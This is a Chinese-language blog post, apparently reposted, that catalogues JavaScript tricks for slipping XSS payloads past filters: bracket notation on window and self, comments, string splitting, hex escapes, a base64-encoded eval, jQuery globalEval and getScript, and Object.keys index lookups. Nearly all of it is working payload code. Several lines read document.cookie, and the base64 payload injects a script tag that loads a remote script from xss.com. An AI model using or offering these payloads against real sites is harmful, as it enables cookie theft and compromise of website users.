各種變異繞過XSS過濾器(Various variations bypass the XSS filter )
文章來自:https://www.cnblogs.com/iAmSoScArEd/p/11287928.html 我超怕的
利用window等來操縱會被認為是全局變量 window.self 與self同樣效果
1、window
window["document"]["cookie"] //代替document.cookie
2、window
window['alert'](["document"]["cookie"]); //代替 alert(document.cookie)
3、self
self["alert"]("123xss") ;//代替傳統alert
4、注釋
(/*hello*/self/*safe*/)[/*no*/"alert"/*alarm*/]("123xss") ;//代替傳統alert
5、利用拼接( self替換成window同樣效果)
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"]) ;//代替傳統alert
6、利用十六進制( self替換成window同樣效果)
self["\x61\x6c\x65\x72\x74"]( self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"] ["\x63\x6f\x6f\x6b\x69\x65"] ) //alert(document.cookie)
7、利用BASE64( self替換成window同樣效果)
self["\x65\x76\x61\x6c"]( //eval self["\x61\x74\x6f\x62"]( //atob base-64解碼方法,base-64 編碼使用方法是 btoa() "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2NyaXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6Ly94c3MuY29tL3hzcy5qcycpO2hlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs=") )//var head = document.getElementsByTagName('head').item(0);var script = document.createElement('script');script.setAttribute('type', 'text/javascript');script.setAttribute('src', 'http://xss.com/xss.js');head.appendChild(script);
8、利用JQuery
1) self["$"]["globalEval"]("alert(123)"); //alert(123) 2) self["\x24"](//$ self["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x64"]//globalEval ["\x61\x6c\x65\x72\x74\x28\x31\x32\x33\x29"] //alert(123) )
3) self["$"]["getScript"](url). getScript //從url獲取js腳本
9、利用Object.keys
a=0; for(i in self) { if(i == "alert") { console.log(a); } a++; } //獲取alert在數組中的位置 self[Object.keys(self)[7]]("123") // 假設通過上述代碼執行結果為7 執行效果:alert("123")
//如果不允許我們使用“alert”字符串,並且上面的方法都不能使用,
//我們如何找到“alert”索引號呢?JavaScript可以很好的解決這個難題。
//我們要做的就是為變量(a)分配一個函數,該函數迭代self並找到警報索引號。
//然后,我們可以使用test()來查找帶有正則表達式的“alert”,如^a[rel]+t$: a = function() { c=0; for(i in self) { if(/^a[rel]+t$/.test(i)) return c; c++; } } a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} self[Object.keys(self)[a()]]("123") // alert("123")
以上思路來自 嘶吼。